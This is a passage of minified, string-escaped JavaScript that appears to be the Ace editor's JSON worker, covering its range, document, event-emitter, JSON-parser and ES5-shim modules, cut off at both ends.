command:\"+i.command);e[i.command].apply(e,i.args)}else if(i.init){e.initBaseUrls(i.tlns),require(\"ace/lib/es5-shim\"),r=e.sender=e.initSender();var s=require(i.module)[i.classname];n=e.main=new s(r)}}})(this),define(\"ace/lib/oop\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.inherits=function(e,t){e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}})},t.mixin=function(e,t){for(var n in t)e[n]=t[n];return e},t.implement=function(e,n){t.mixin(e,n)}}),define(\"ace/range\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=function(e,t){return e.row-t.row||e.column-t.column},i=function(e,t,n,r){this.start={row:e,column:t},this.end={row:n,column:r}};(function(){this.isEqual=function(e){return this.start.row===e.start.row&&this.end.row===e.end.row&&this.start.column===e.start.column&&this.end.column===e.end.column},this.toString=function(){return\"Range: [\"+this.start.row+\"/\"+this.start.column+\"] -> [\"+this.end.row+\"/\"+this.end.column+\"]\"},this.contains=function(e,t){return this.compare(e,t)==0},this.compareRange=function(e){var t,n=e.end,r=e.start;return t=this.compare(n.row,n.column),t==1?(t=this.compare(r.row,r.column),t==1?2:t==0?1:0):t==-1?-2:(t=this.compare(r.row,r.column),t==-1?-1:t==1?42:0)},this.comparePoint=function(e){return this.compare(e.row,e.column)},this.containsRange=function(e){return this.comparePoint(e.start)==0&&this.comparePoint(e.end)==0},this.intersects=function(e){var t=this.compareRange(e);return t==-1||t==0||t==1},this.isEnd=function(e,t){return this.end.row==e&&this.end.column==t},this.isStart=function(e,t){return this.start.row==e&&this.start.column==t},this.setStart=function(e,t){typeof e==\"object\"?(this.start.column=e.column,this.start.row=e.row):(this.start.row=e,this.start.column=t)},this.setEnd=function(e,t){typeof e==\"object\"?(this.end.column=e.column,this.end.row=e.row):(this.end.row=e,this.end.column=t)},this.inside=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)||this.isStart(e,t)?!1:!0:!1},this.insideStart=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)?!1:!0:!1},this.insideEnd=function(e,t){return this.compare(e,t)==0?this.isStart(e,t)?!1:!0:!1},this.compare=function(e,t){return!this.isMultiLine()&&e===this.start.row?t<this.start.column?-1:t>this.end.column?1:0:e<this.start.row?-1:e>this.end.row?1:this.start.row===e?t>=this.start.column?0:-1:this.end.row===e?t<=this.end.column?0:1:0},this.compareStart=function(e,t){return this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.compareEnd=function(e,t){return this.end.row==e&&this.end.column==t?1:this.compare(e,t)},this.compareInside=function(e,t){return this.end.row==e&&this.end.column==t?1:this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.clipRows=function(e,t){if(this.end.row>t)var n={row:t+1,column:0};else if(this.end.row<e)var n={row:e,column:0};if(this.start.row>t)var r={row:t+1,column:0};else if(this.start.row<e)var r={row:e,column:0};return i.fromPoints(r||this.start,n||this.end)},this.extend=function(e,t){var n=this.compare(e,t);if(n==0)return this;if(n==-1)var r={row:e,column:t};else var s={row:e,column:t};return i.fromPoints(r||this.start,s||this.end)},this.isEmpty=function(){return this.start.row===this.end.row&&this.start.column===this.end.column},this.isMultiLine=function(){return this.start.row!==this.end.row},this.clone=function(){return i.fromPoints(this.start,this.end)},this.collapseRows=function(){return this.end.column==0?new i(this.start.row,0,Math.max(this.start.row,this.end.row-1),0):new i(this.start.row,0,this.end.row,0)},this.toScreenRange=function(e){var t=e.documentToScreenPosition(this.start),n=e.documentToScreenPosition(this.end);return new i(t.row,t.column,n.row,n.column)},this.moveBy=function(e,t){this.start.row+=e,this.start.column+=t,this.end.row+=e,this.end.column+=t}}).call(i.prototype),i.fromPoints=function(e,t){return new i(e.row,e.column,t.row,t.column)},i.comparePoints=r,i.comparePoints=function(e,t){return e.row-t.row||e.column-t.column},t.Range=i}),define(\"ace/apply_delta\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function r(e,t){throw console.log(\"Invalid Delta:\",e),\"Invalid Delta: \"+t}function i(e,t){return t.row>=0&&t.row<e.length&&t.column>=0&&t.column<=e[t.row].length}function s(e,t){t.action!=\"insert\"&&t.action!=\"remove\"&&r(t,\"delta.action must be 'insert' or 'remove'\"),t.lines instanceof Array||r(t,\"delta.lines must be an Array\"),(!t.start||!t.end)&&r(t,\"delta.start/end must be an present\");var n=t.start;i(e,t.start)||r(t,\"delta.start must be contained in document\");var s=t.end;t.action==\"remove\"&&!i(e,s)&&r(t,\"delta.end must contained in document for 'remove' actions\");var o=s.row-n.row,u=s.column-(o==0?n.column:0);(o!=t.lines.length-1||t.lines[o].length!=u)&&r(t,\"delta.range must match delta lines\")}t.applyDelta=function(e,t,n){var r=t.start.row,i=t.start.column,s=e[r]||\"\";switch(t.action){case\"insert\":var o=t.lines;if(o.length===1)e[r]=s.substring(0,i)+t.lines[0]+s.substring(i);else{var u=[r,1].concat(t.lines);e.splice.apply(e,u),e[r]=s.substring(0,i)+e[r],e[r+t.lines.length-1]+=s.substring(i)}break;case\"remove\":var a=t.end.column,f=t.end.row;r===f?e[r]=s.substring(0,i)+s.substring(a):e.splice(r,f-r+1,s.substring(0,i)+e[f].substring(a))}}}),define(\"ace/lib/event_emitter\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={},i=function(){this.propagationStopped=!0},s=function(){this.defaultPrevented=!0};r._emit=r._dispatchEvent=function(e,t){this._eventRegistry||(this._eventRegistry={}),this._defaultHandlers||(this._defaultHandlers={});var n=this._eventRegistry[e]||[],r=this._defaultHandlers[e];if(!n.length&&!r)return;if(typeof t!=\"object\"||!t)t={};t.type||(t.type=e),t.stopPropagation||(t.stopPropagation=i),t.preventDefault||(t.preventDefault=s),n=n.slice();for(var o=0;o<n.length;o++){n[o](t,this);if(t.propagationStopped)break}if(r&&!t.defaultPrevented)return r(t,this)},r._signal=function(e,t){var n=(this._eventRegistry||{})[e];if(!n)return;n=n.slice();for(var r=0;r<n.length;r++)n[r](t,this)},r.once=function(e,t){var n=this;t&&this.addEventListener(e,function r(){n.removeEventListener(e,r),t.apply(null,arguments)})},r.setDefaultHandler=function(e,t){var n=this._defaultHandlers;n||(n=this._defaultHandlers={_disabled_:{}});if(n[e]){var r=n[e],i=n._disabled_[e];i||(n._disabled_[e]=i=[]),i.push(r);var s=i.indexOf(t);s!=-1&&i.splice(s,1)}n[e]=t},r.removeDefaultHandler=function(e,t){var n=this._defaultHandlers;if(!n)return;var r=n._disabled_[e];if(n[e]==t){var i=n[e];r&&this.setDefaultHandler(e,r.pop())}else if(r){var s=r.indexOf(t);s!=-1&&r.splice(s,1)}},r.on=r.addEventListener=function(e,t,n){this._eventRegistry=this._eventRegistry||{};var r=this._eventRegistry[e];return r||(r=this._eventRegistry[e]=[]),r.indexOf(t)==-1&&r[n?\"unshift\":\"push\"](t),t},r.off=r.removeListener=r.removeEventListener=function(e,t){this._eventRegistry=this._eventRegistry||{};var n=this._eventRegistry[e];if(!n)return;var r=n.indexOf(t);r!==-1&&n.splice(r,1)},r.removeAllListeners=function(e){this._eventRegistry&&(this._eventRegistry[e]=[])},t.EventEmitter=r}),define(\"ace/anchor\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/event_emitter\").EventEmitter,s=t.Anchor=function(e,t,n){this.$onChange=this.onChange.bind(this),this.attach(e),typeof n==\"undefined\"?this.setPosition(t.row,t.column):this.setPosition(t,n)};(function(){function e(e,t,n){var r=n?e.column<=t.column:e.column<t.column;return e.row<t.row||e.row==t.row&&r}function t(t,n,r){var i=t.action==\"insert\",s=(i?1:-1)*(t.end.row-t.start.row),o=(i?1:-1)*(t.end.column-t.start.column),u=t.start,a=i?u:t.end;return e(n,u,r)?{row:n.row,column:n.column}:e(a,n,!r)?{row:n.row+s,column:n.column+(n.row==a.row?o:0)}:{row:u.row,column:u.column}}r.implement(this,i),this.getPosition=function(){return this.$clipPositionToDocument(this.row,this.column)},this.getDocument=function(){return this.document},this.$insertRight=!1,this.onChange=function(e){if(e.start.row==e.end.row&&e.start.row!=this.row)return;if(e.start.row>this.row)return;var n=t(e,{row:this.row,column:this.column},this.$insertRight);this.setPosition(n.row,n.column,!0)},this.setPosition=function(e,t,n){var r;n?r={row:e,column:t}:r=this.$clipPositionToDocument(e,t);if(this.row==r.row&&this.column==r.column)return;var i={row:this.row,column:this.column};this.row=r.row,this.column=r.column,this._signal(\"change\",{old:i,value:r})},this.detach=function(){this.document.removeEventListener(\"change\",this.$onChange)},this.attach=function(e){this.document=e||this.document,this.document.on(\"change\",this.$onChange)},this.$clipPositionToDocument=function(e,t){var n={};return e>=this.document.getLength()?(n.row=Math.max(0,this.document.getLength()-1),n.column=this.document.getLine(n.row).length):e<0?(n.row=0,n.column=0):(n.row=e,n.column=Math.min(this.document.getLine(n.row).length,Math.max(0,t))),t<0&&(n.column=0),n}}).call(s.prototype)}),define(\"ace/document\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/apply_delta\",\"ace/lib/event_emitter\",\"ace/range\",\"ace/anchor\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./apply_delta\").applyDelta,s=e(\"./lib/event_emitter\").EventEmitter,o=e(\"./range\").Range,u=e(\"./anchor\").Anchor,a=function(e){this.$lines=[\"\"],e.length===0?this.$lines=[\"\"]:Array.isArray(e)?this.insertMergedLines({row:0,column:0},e):this.insert({row:0,column:0},e)};(function(){r.implement(this,s),this.setValue=function(e){var t=this.getLength()-1;this.remove(new o(0,0,t,this.getLine(t).length)),this.insert({row:0,column:0},e)},this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())},this.createAnchor=function(e,t){return new u(this,e,t)},\"aaa\".split(/a/).length===0?this.$split=function(e){return e.replace(/\\r\\n|\\r/g,\"\\n\").split(\"\\n\")}:this.$split=function(e){return e.split(/\\r\\n|\\r|\\n/)},this.$detectNewLine=function(e){var t=e.match(/^.*?(\\r\\n|\\r|\\n)/m);this.$autoNewLine=t?t[1]:\"\\n\",this._signal(\"changeNewLineMode\")},this.getNewLineCharacter=function(){switch(this.$newLineMode){case\"windows\":return\"\\r\\n\";case\"unix\":return\"\\n\";default:return this.$autoNewLine||\"\\n\"}},this.$autoNewLine=\"\",this.$newLineMode=\"auto\",this.setNewLineMode=function(e){if(this.$newLineMode===e)return;this.$newLineMode=e,this._signal(\"changeNewLineMode\")},this.getNewLineMode=function(){return this.$newLineMode},this.isNewLine=function(e){return e==\"\\r\\n\"||e==\"\\r\"||e==\"\\n\"},this.getLine=function(e){return this.$lines[e]||\"\"},this.getLines=function(e,t){return this.$lines.slice(e,t+1)},this.getAllLines=function(){return this.getLines(0,this.getLength())},this.getLength=function(){return this.$lines.length},this.getTextRange=function(e){return this.getLinesForRange(e).join(this.getNewLineCharacter())},this.getLinesForRange=function(e){var t;if(e.start.row===e.end.row)t=[this.getLine(e.start.row).substring(e.start.column,e.end.column)];else{t=this.getLines(e.start.row,e.end.row),t[0]=(t[0]||\"\").substring(e.start.column);var n=t.length-1;e.end.row-e.start.row==n&&(t[n]=t[n].substring(0,e.end.column))}return t},this.insertLines=function(e,t){return console.warn(\"Use of document.insertLines is deprecated. Use the insertFullLines method instead.\"),this.insertFullLines(e,t)},this.removeLines=function(e,t){return console.warn(\"Use of document.removeLines is deprecated. Use the removeFullLines method instead.\"),this.removeFullLines(e,t)},this.insertNewLine=function(e){return console.warn(\"Use of document.insertNewLine is deprecated. Use insertMergedLines(position, ['', '']) instead.\"),this.insertMergedLines(e,[\"\",\"\"])},this.insert=function(e,t){return this.getLength()<=1&&this.$detectNewLine(t),this.insertMergedLines(e,this.$split(t))},this.insertInLine=function(e,t){var n=this.clippedPos(e.row,e.column),r=this.pos(e.row,e.column+t.length);return this.applyDelta({start:n,end:r,action:\"insert\",lines:[t]},!0),this.clonePos(r)},this.clippedPos=function(e,t){var n=this.getLength();e===undefined?e=n:e<0?e=0:e>=n&&(e=n-1,t=undefined);var r=this.getLine(e);return t==undefined&&(t=r.length),t=Math.min(Math.max(t,0),r.length),{row:e,column:t}},this.clonePos=function(e){return{row:e.row,column:e.column}},this.pos=function(e,t){return{row:e,column:t}},this.$clipPosition=function(e){var t=this.getLength();return e.row>=t?(e.row=Math.max(0,t-1),e.column=this.getLine(t-1).length):(e.row=Math.max(0,e.row),e.column=Math.min(Math.max(e.column,0),this.getLine(e.row).length)),e},this.insertFullLines=function(e,t){e=Math.min(Math.max(e,0),this.getLength());var n=0;e<this.getLength()?(t=t.concat([\"\"]),n=0):(t=[\"\"].concat(t),e--,n=this.$lines[e].length),this.insertMergedLines({row:e,column:n},t)},this.insertMergedLines=function(e,t){var n=this.clippedPos(e.row,e.column),r={row:n.row+t.length-1,column:(t.length==1?n.column:0)+t[t.length-1].length};return this.applyDelta({start:n,end:r,action:\"insert\",lines:t}),this.clonePos(r)},this.remove=function(e){var t=this.clippedPos(e.start.row,e.start.column),n=this.clippedPos(e.end.row,e.end.column);return this.applyDelta({start:t,end:n,action:\"remove\",lines:this.getLinesForRange({start:t,end:n})}),this.clonePos(t)},this.removeInLine=function(e,t,n){var r=this.clippedPos(e,t),i=this.clippedPos(e,n);return this.applyDelta({start:r,end:i,action:\"remove\",lines:this.getLinesForRange({start:r,end:i})},!0),this.clonePos(r)},this.removeFullLines=function(e,t){e=Math.min(Math.max(0,e),this.getLength()-1),t=Math.min(Math.max(0,t),this.getLength()-1);var n=t==this.getLength()-1&&e>0,r=t<this.getLength()-1,i=n?e-1:e,s=n?this.getLine(i).length:0,u=r?t+1:t,a=r?0:this.getLine(u).length,f=new o(i,s,u,a),l=this.$lines.slice(e,t+1);return this.applyDelta({start:f.start,end:f.end,action:\"remove\",lines:this.getLinesForRange(f)}),l},this.removeNewLine=function(e){e<this.getLength()-1&&e>=0&&this.applyDelta({start:this.pos(e,this.getLine(e).length),end:this.pos(e+1,0),action:\"remove\",lines:[\"\",\"\"]})},this.replace=function(e,t){e instanceof o||(e=o.fromPoints(e.start,e.end));if(t.length===0&&e.isEmpty())return e.start;if(t==this.getTextRange(e))return e.end;this.remove(e);var n;return t?n=this.insert(e.start,t):n=e.start,n},this.applyDeltas=function(e){for(var t=0;t<e.length;t++)this.applyDelta(e[t])},this.revertDeltas=function(e){for(var t=e.length-1;t>=0;t--)this.revertDelta(e[t])},this.applyDelta=function(e,t){var n=e.action==\"insert\";if(n?e.lines.length<=1&&!e.lines[0]:!o.comparePoints(e.start,e.end))return;n&&e.lines.length>2e4&&this.$splitAndapplyLargeDelta(e,2e4),i(this.$lines,e,t),this._signal(\"change\",e)},this.$splitAndapplyLargeDelta=function(e,t){var n=e.lines,r=n.length,i=e.start.row,s=e.start.column,o=0,u=0;do{o=u,u+=t-1;var a=n.slice(o,u);if(u>r){e.lines=a,e.start.row=i+o,e.start.column=s;break}a.push(\"\"),this.applyDelta({start:this.pos(i+o,s),end:this.pos(i+u,s=0),action:e.action,lines:a},!0)}while(!0)},this.revertDelta=function(e){this.applyDelta({start:this.clonePos(e.start),end:this.clonePos(e.end),action:e.action==\"insert\"?\"remove\":\"insert\",lines:e.lines.slice()})},this.indexToPosition=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length;for(var i=t||0,s=n.length;i<s;i++){e-=n[i].length+r;if(e<0)return{row:i,column:e+n[i].length+r}}return{row:s-1,column:n[s-1].length}},this.positionToIndex=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length,i=0,s=Math.min(e.row,n.length);for(var o=t||0;o<s;++o)i+=n[o].length+r;return i+e.column}}).call(a.prototype),t.Document=a}),define(\"ace/lib/lang\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.last=function(e){return e[e.length-1]},t.stringReverse=function(e){return e.split(\"\").reverse().join(\"\")},t.stringRepeat=function(e,t){var n=\"\";while(t>0){t&1&&(n+=e);if(t>>=1)e+=e}return n};var r=/^\\s\\s*/,i=/\\s\\s*$/;t.stringTrimLeft=function(e){return e.replace(r,\"\")},t.stringTrimRight=function(e){return e.replace(i,\"\")},t.copyObject=function(e){var t={};for(var n in e)t[n]=e[n];return t},t.copyArray=function(e){var t=[];for(var n=0,r=e.length;n<r;n++)e[n]&&typeof e[n]==\"object\"?t[n]=this.copyObject(e[n]):t[n]=e[n];return t},t.deepCopy=function s(e){if(typeof e!=\"object\"||!e)return e;var t;if(Array.isArray(e)){t=[];for(var n=0;n<e.length;n++)t[n]=s(e[n]);return t}var r=e.constructor;if(r===RegExp)return e;t=r();for(var n in e)t[n]=s(e[n]);return t},t.arrayToMap=function(e){var t={};for(var n=0;n<e.length;n++)t[e[n]]=1;return t},t.createMap=function(e){var t=Object.create(null);for(var n in e)t[n]=e[n];return t},t.arrayRemove=function(e,t){for(var n=0;n<=e.length;n++)t===e[n]&&e.splice(n,1)},t.escapeRegExp=function(e){return e.replace(/([.*+?^${}()|[\\]\\/\\\\])/g,\"\\\\$1\")},t.escapeHTML=function(e){return e.replace(/&/g,\"&#38;\").replace(/\"/g,\"&#34;\").replace(/'/g,\"&#39;\").replace(/</g,\"&#60;\")},t.getMatchOffsets=function(e,t){var n=[];return e.replace(t,function(e){n.push({offset:arguments[arguments.length-2],length:e.length})}),n},t.deferredCall=function(e){var t=null,n=function(){t=null,e()},r=function(e){return r.cancel(),t=setTimeout(n,e||0),r};return r.schedule=r,r.call=function(){return this.cancel(),e(),r},r.cancel=function(){return clearTimeout(t),t=null,r},r.isPending=function(){return t},r},t.delayedCall=function(e,t){var n=null,r=function(){n=null,e()},i=function(e){n==null&&(n=setTimeout(r,e||t))};return i.delay=function(e){n&&clearTimeout(n),n=setTimeout(r,e||t)},i.schedule=i,i.call=function(){this.cancel(),e()},i.cancel=function(){n&&clearTimeout(n),n=null},i.isPending=function(){return n},i}}),define(\"ace/worker/mirror\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/document\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=e(\"../document\").Document,s=e(\"../lib/lang\"),o=t.Mirror=function(e){this.sender=e;var t=this.doc=new i(\"\"),n=this.deferredUpdate=s.delayedCall(this.onUpdate.bind(this)),r=this;e.on(\"change\",function(e){var i=e.data;if(i[0].start)t.applyDeltas(i);else for(var s=0;s<i.length;s+=2){if(Array.isArray(i[s+1]))var o={action:\"insert\",start:i[s],lines:i[s+1]};else var o={action:\"remove\",start:i[s],end:i[s+1]};t.applyDelta(o,!0)}if(r.$timeout)return n.schedule(r.$timeout);r.onUpdate()})};(function(){this.$timeout=500,this.setTimeout=function(e){this.$timeout=e},this.setValue=function(e){this.doc.setValue(e),this.deferredUpdate.schedule(this.$timeout)},this.getValue=function(e){this.sender.callback(this.doc.getValue(),e)},this.onUpdate=function(){},this.isPending=function(){return this.deferredUpdate.isPending()}}).call(o.prototype)}),define(\"ace/mode/json/json_parse\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r,i,s={'\"':'\"',\"\\\\\":\"\\\\\",\"/\":\"/\",b:\"\\b\",f:\"\\f\",n:\"\\n\",r:\"\\r\",t:\"\t\"},o,u=function(e){throw{name:\"SyntaxError\",message:e,at:r,text:o}},a=function(e){return e&&e!==i&&u(\"Expected '\"+e+\"' instead of '\"+i+\"'\"),i=o.charAt(r),r+=1,i},f=function(){var e,t=\"\";i===\"-\"&&(t=\"-\",a(\"-\"));while(i>=\"0\"&&i<=\"9\")t+=i,a();if(i===\".\"){t+=\".\";while(a()&&i>=\"0\"&&i<=\"9\")t+=i}if(i===\"e\"||i===\"E\"){t+=i,a();if(i===\"-\"||i===\"+\")t+=i,a();while(i>=\"0\"&&i<=\"9\")t+=i,a()}e=+t;if(!isNaN(e))return e;u(\"Bad number\")},l=function(){var e,t,n=\"\",r;if(i==='\"')while(a()){if(i==='\"')return a(),n;if(i===\"\\\\\"){a();if(i===\"u\"){r=0;for(t=0;t<4;t+=1){e=parseInt(a(),16);if(!isFinite(e))break;r=r*16+e}n+=String.fromCharCode(r)}else{if(typeof s[i]!=\"string\")break;n+=s[i]}}else n+=i}u(\"Bad string\")},c=function(){while(i&&i<=\" \")a()},h=function(){switch(i){case\"t\":return a(\"t\"),a(\"r\"),a(\"u\"),a(\"e\"),!0;case\"f\":return a(\"f\"),a(\"a\"),a(\"l\"),a(\"s\"),a(\"e\"),!1;case\"n\":return a(\"n\"),a(\"u\"),a(\"l\"),a(\"l\"),null}u(\"Unexpected '\"+i+\"'\")},p,d=function(){var e=[];if(i===\"[\"){a(\"[\"),c();if(i===\"]\")return a(\"]\"),e;while(i){e.push(p()),c();if(i===\"]\")return a(\"]\"),e;a(\",\"),c()}}u(\"Bad array\")},v=function(){var e,t={};if(i===\"{\"){a(\"{\"),c();if(i===\"}\")return a(\"}\"),t;while(i){e=l(),c(),a(\":\"),Object.hasOwnProperty.call(t,e)&&u('Duplicate key \"'+e+'\"'),t[e]=p(),c();if(i===\"}\")return a(\"}\"),t;a(\",\"),c()}}u(\"Bad object\")};return p=function(){c();switch(i){case\"{\":return v();case\"[\":return d();case'\"':return l();case\"-\":return f();default:return i>=\"0\"&&i<=\"9\"?f():h()}},function(e,t){var n;return o=e,r=0,i=\" \",n=p(),c(),i&&u(\"Syntax error\"),typeof t==\"function\"?function s(e,n){var r,i,o=e[n];if(o&&typeof o==\"object\")for(r in o)Object.hasOwnProperty.call(o,r)&&(i=s(o,r),i!==undefined?o[r]=i:delete o[r]);return t.call(e,n,o)}({\"\":n},\"\"):n}}),define(\"ace/mode/json_worker\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/worker/mirror\",\"ace/mode/json/json_parse\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../worker/mirror\").Mirror,s=e(\"./json/json_parse\"),o=t.JsonWorker=function(e){i.call(this,e),this.setTimeout(200)};r.inherits(o,i),function(){this.onUpdate=function(){var e=this.doc.getValue(),t=[];try{e&&s(e)}catch(n){var r=this.doc.indexToPosition(n.at-1);t.push({row:r.row,column:r.column,text:n.message,type:\"error\"})}this.sender.emit(\"annotate\",t)}}.call(o.prototype)}),define(\"ace/lib/es5-shim\",[\"require\",\"exports\",\"module\"],function(e,t,n){function r(){}function w(e){try{return Object.defineProperty(e,\"sentinel\",{}),\"sentinel\"in e}catch(t){}}function H(e){return e=+e,e!==e?e=0:e!==0&&e!==1/0&&e!==-1/0&&(e=(e>0||-1)*Math.floor(Math.abs(e))),e}function B(e){var t=typeof e;return e===null||t===\"undefined\"||t===\"boolean\"||t===\"number\"||t===\"string\"}function j(e){var t,n,r;if(B(e))return e;n=e.valueOf;if(typeof n==\"function\"){t=n.call(e);if(B(t))return t}r=e.toString;if(typeof r==\"function\"){t=r.call(e);if(B(t))return t}throw new TypeError}Function.prototype.bind||(Function.prototype.bind=function(t){var n=this;if(typeof n!=\"function\")throw new TypeError(\"Function.prototype.bind called on incompatible \"+n);var i=u.call(arguments,1),s=function(){if(this instanceof s){var e=n.apply(this,i.concat(u.call(arguments)));return Object(e)===e?e:this}return n.apply(t,i.concat(u.call(arguments)))};return n.prototype&&(r.prototype=n.prototype,s.prototype=new r,r.prototype=null),s});var i=Function.prototype.call,s=Array.prototype,o=Object.prototype,u=s.slice,a=i.bind(o.toString),f=i.bind(o.hasOwnProperty),l,c,h,p,d;if(d=f(o,\"__defineGetter__\"))l=i.bind(o.__defineGetter__),c=i.bind(o.__defineSetter__),h=i.bind(o.__lookupGetter__),p=i.bind(o.__lookupSetter__);if([1,2].splice(0).length!=2)if(!function(){function e(e){var t=new Array(e+2);return t[0]=t[1]=0,t}var t=[],n;t.splice.apply(t,e(20)),t.splice.apply(t,e(26)),n=t.length,t.splice(5,0,\"XXX\"),n+1==t.length;if(n+1==t.length)return!0}())Array.prototype.splice=function(e,t){var n=this.length;e>0?e>n&&(e=n):e==void 0?e=0:e<0&&(e=Math.max(n+e,0)),e+t<n||(t=n-e);var r=this.slice(e,e+t),i=u.call(arguments,2),s=i.length;if(e===n)s&&this.push.apply(this,i);else{var o=Math.min(t,n-e),a=e+o,f=a+s-o,l=n-a,c=n-o;if(f<a)for(var h=0;h<l;++h)this[f+h]=this[a+h];else if(f>a)for(h=l;h--;)this[f+h]=this[a+h];if(s&&e===c)this.length=c,this.push.apply(this,i);else{this.length=c+s;for(h=0;h<s;++h)this[e+h]=i[h]}}return r};else{var v=Array.prototype.splice;Array.prototype.splice=function(e,t){return arguments.length?v.apply(this,[e===void 0?0:e,t===void 0?this.length-e:t].concat(u.call(arguments,2))):[]}}Array.isArray||(Array.isArray=function(t){return a(t)==\"[object Array]\"});var m=Object(\"a\"),g=m[0]!=\"a\"||!(0 in m);Array.prototype.forEach||(Array.prototype.forEach=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=arguments[1],s=-1,o=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError;while(++s<o)s in r&&t.call(i,r[s],s,n)}),Array.prototype.map||(Array.prototype.map=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=Array(i),o=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var u=0;u<i;u++)u in r&&(s[u]=t.call(o,r[u],u,n));return s}),Array.prototype.filter||(Array.prototype.filter=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=[],o,u=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var f=0;f<i;f++)f in r&&(o=r[f],t.call(u,o,f,n)&&s.push(o));return s}),Array.prototype.every||(Array.prototype.every=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&!t.call(s,r[o],o,n))return!1;return!0}),Array.prototype.some||(Array.prototype.some=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&t.call(s,r[o],o,n))return!0;return!1}),Array.prototype.reduce||(Array.prototype.reduce=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduce of empty array with no initial value\");var s=0,o;if(arguments.length>=2)o=arguments[1];else do{if(s in r){o=r[s++];break}if(++s>=i)throw new TypeError(\"reduce of empty array with no initial value\")}while(!0);for(;s<i;s++)s in r&&(o=t.call(void 0,o,r[s],s,n));return o}),Array.prototype.reduceRight||(Array.prototype.reduceRight=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduceRight of empty array with no initial value\");var s,o=i-1;if(arguments.length>=2)s=arguments[1];else do{if(o in r){s=r[o--];break}if(--o<0)throw new TypeError(\"reduceRight of empty array with no initial value\")}while(!0);do o in this&&(s=t.call(void 0,s,r[o],o,n));while(o--);return s});if(!Array.prototype.indexOf||[0,1].indexOf(1,2)!=-1)Array.prototype.indexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=0;arguments.length>1&&(i=H(arguments[1])),i=i>=0?i:Math.max(0,r+i);for(;i<r;i++)if(i in n&&n[i]===t)return i;return-1};if(!Array.prototype.lastIndexOf||[0,1].lastIndexOf(0,-3)!=-1)Array.prototype.lastIndexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=r-1;arguments.length>1&&(i=Math.min(i,H(arguments[1]))),i=i>=0?i:r-Math.abs(i);for(;i>=0;i--)if(i in n&&t===n[i])return i;return-1};Object.getPrototypeOf||(Object.getPrototypeOf=function(t){return t.__proto__||(t.constructor?t.constructor.prototype:o)});if(!Object.getOwnPropertyDescriptor){var y=\"Object.getOwnPropertyDescriptor called on a non-object: \";Object.getOwnPropertyDescriptor=function(t,n){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(y+t);if(!f(t,n))return;var r,i,s;r={enumerable:!0,configurable:!0};if(d){var u=t.__proto__;t.__proto__=o;var i=h(t,n),s=p(t,n);t.__proto__=u;if(i||s)return i&&(r.get=i),s&&(r.set=s),r}return r.value=t[n],r}}Object.getOwnPropertyNames||(Object.getOwnPropertyNames=function(t){return Object.keys(t)});if(!Object.create){var b;Object.prototype.__proto__===null?b=function(){return{__proto__:null}}:b=function(){var e={};for(var t in e)e[t]=null;return e.constructor=e.hasOwnProperty=e.propertyIsEnumerable=e.isPrototypeOf=e.toLocaleString=e.toString=e.valueOf=e.__proto__=null,e},Object.create=function(t,n){var r;if(t===null)r=b();else{if(typeof t!=\"object\")throw new TypeError(\"typeof prototype[\"+typeof t+\"] != 'object'\");var i=function(){};i.prototype=t,r=new i,r.__proto__=t}return n!==void 0&&Object.defineProperties(r,n),r}}if(Object.defineProperty){var E=w({}),S=typeof document==\"undefined\"||w(document.createElement(\"div\"));if(!E||!S)var x=Object.defineProperty}if(!Object.defineProperty||x){var T=\"Property description must be an object: \",N=\"Object.defineProperty called on non-object: \",C=\"getters & setters can not be defined on this javascript engine\";Object.defineProperty=function(t,n,r){if(typeof 